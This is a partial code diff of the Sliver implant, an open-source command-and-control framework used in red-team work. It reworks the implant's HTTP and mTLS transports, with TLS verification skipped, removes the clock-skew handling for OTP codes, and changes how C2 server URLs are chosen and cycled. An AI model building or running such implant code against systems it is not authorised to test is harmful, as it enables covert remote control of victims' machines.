@@ -28,7 +28,6 @@ import (
// {{if .Config.Debug}}
"log"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/proxy"
@@ -37,20 +36,12 @@ import (
// GoHTTPDriver - Pure Go HTTP driver
func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
var transport *http.Transport
tlsConfig := &tls.Config{
InsecureSkipVerify: true, // We don't care about the HTTP(S) layer certs
}
// {{if .Config.Debug}}
if cryptography.TLSKeyLogger != nil {
tlsConfig.KeyLogWriter = cryptography.TLSKeyLogger
}
// {{end}}
if !secure {
transport = &http.Transport{
IdleConnTimeout: time.Millisecond,
Dial: proxy.Direct.Dial,
TLSHandshakeTimeout: opts.TlsTimeout,
TLSClientConfig: tlsConfig,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
}
} else {
transport = &http.Transport{
@@ -59,7 +50,7 @@ func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, er
Timeout: opts.NetTimeout,
}).Dial,
TLSHandshakeTimeout: opts.TlsTimeout,
TLSClientConfig: tlsConfig,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
}
}
client := &http.Client{
@@ -58,7 +58,6 @@ const (
var (
ErrClosed = errors.New("http session closed")
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
TimeDelta time.Duration = 0
)
// HTTPOptions - c2 specific configuration options
@@ -335,8 +334,7 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
uri := s.startSessionURL()
s.NonceQueryArgument(uri, nonce)
timestamp := time.Now().UTC().Add(TimeDelta)
otpCode := cryptography.GetExactOTPCode(timestamp)
otpCode := cryptography.GetOTPCode()
s.OTPQueryArgument(uri, otpCode)
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
// {{if .Config.Debug}}
@@ -351,15 +349,6 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
return err
}
if resp.StatusCode != http.StatusOK {
serverDateHeader := resp.Header.Get("Date")
if serverDateHeader != "" {
// If the request failed and there is a Date header, find the time difference and save it for the next request
curTime := time.Now().UTC()
serverTime, err := time.Parse(time.RFC1123, serverDateHeader)
if err == nil {
TimeDelta = serverTime.UTC().Sub(curTime)
}
}
// {{if .Config.Debug}}
log.Printf("[http] non-200 response (%d): %v", resp.StatusCode, resp)
// {{end}}
-5
View File
@@ -167,11 +167,6 @@ func getTLSConfig() *tls.Config {
return cryptography.RootOnlyVerifyCertificate(caCertPEM, rawCerts, verifiedChains)
},
}
// {{if .Config.Debug}}
if cryptography.TLSKeyLogger != nil {
tlsConfig.KeyLogWriter = cryptography.TLSKeyLogger
}
// {{end}}
return tlsConfig
}
+7 -7
View File
@@ -80,7 +80,7 @@ type Start func() error
type Stop func() error
// StartConnectionLoop - Starts the main connection loop
func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
// {{if .Config.Debug}}
log.Printf("Starting interactive session connection loop ...")
@@ -88,7 +88,7 @@ func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
nextConnection := make(chan *Connection)
innerAbort := make(chan struct{})
c2Generator := C2Generator(innerAbort)
c2Generator := C2Generator(c2s, innerAbort)
go func() {
var connection *Connection
@@ -204,7 +204,7 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: map[uint64]*Tunnel{},
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: false,
@@ -306,7 +306,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: map[uint64]*Tunnel{},
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
uri: uri,
@@ -414,7 +414,7 @@ func httpConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: map[uint64]*Tunnel{},
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
uri: uri,
@@ -535,7 +535,7 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: map[uint64]*Tunnel{},
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
@@ -644,7 +644,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: map[uint64]*Tunnel{},
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
+9 -17
View File
@@ -36,18 +36,10 @@ const (
)
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
func C2Generator(abort <-chan struct{}) <-chan *url.URL {
func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
// {{if .Config.Debug}}
log.Printf("Starting c2 url generator ({{.Config.ConnectionStrategy}}) ...")
// {{end}}
c2Servers := []func() string{}
// {{range $index, $value := .Config.C2}}
c2Servers = append(c2Servers, func() string {
return "{{$value}}" // {{$index}}
})
// {{end}} - range
generator := make(chan *url.URL)
go func() {
defer close(generator)
@@ -56,16 +48,16 @@ func C2Generator(abort <-chan struct{}) <-chan *url.URL {
var next string
switch "{{.Config.ConnectionStrategy}}" {
case strategyRandom: // Random
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
next = c2Servers[insecureRand.Intn(len(c2Servers))]
case strategyRandomDomain: // Random Domain
// Select the next sequential C2 then use it's protocol to make a random
// selection from all C2s that share it's protocol.
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
next = c2Servers[insecureRand.Intn(len(c2Servers))]
next = randomCCDomain(c2Servers, next)
case strategySequential: // Sequential
next = c2Servers[c2Counter%uint(len(c2Servers))]()
next = c2Servers[c2Counter%uint(len(c2Servers))]
default:
next = c2Servers[c2Counter%uint(len(c2Servers))]()
next = c2Servers[c2Counter%uint(len(c2Servers))]
}
c2Counter++
if ^uint(0) < c2Counter {
@@ -98,15 +90,15 @@ func C2Generator(abort <-chan struct{}) <-chan *url.URL {
}
// randomCCDomain - Random selection within a protocol
func randomCCDomain(ccServers []func() string, next string) string {
func randomCCDomain(ccServers []string, next string) string {
uri, err := url.Parse(next)
if err != nil {
return next
}
pool := []func() string{}
pool := []string{}
protocol := uri.Scheme
for _, cc := range ccServers {
uri, err := url.Parse(cc())
uri, err := url.Parse(cc)
if err != nil {
continue
}
@@ -114,7 +106,7 @@ func randomCCDomain(ccServers []func() string, next string) string {
pool = append(pool, cc)
}
}
return pool[insecureRand.Intn(len(pool))]()
return pool[insecureRand.Intn(len(pool))]
}
var (
Loaded 100 of 2072 files, more files were not shown because too many files have changed in this diff. Show more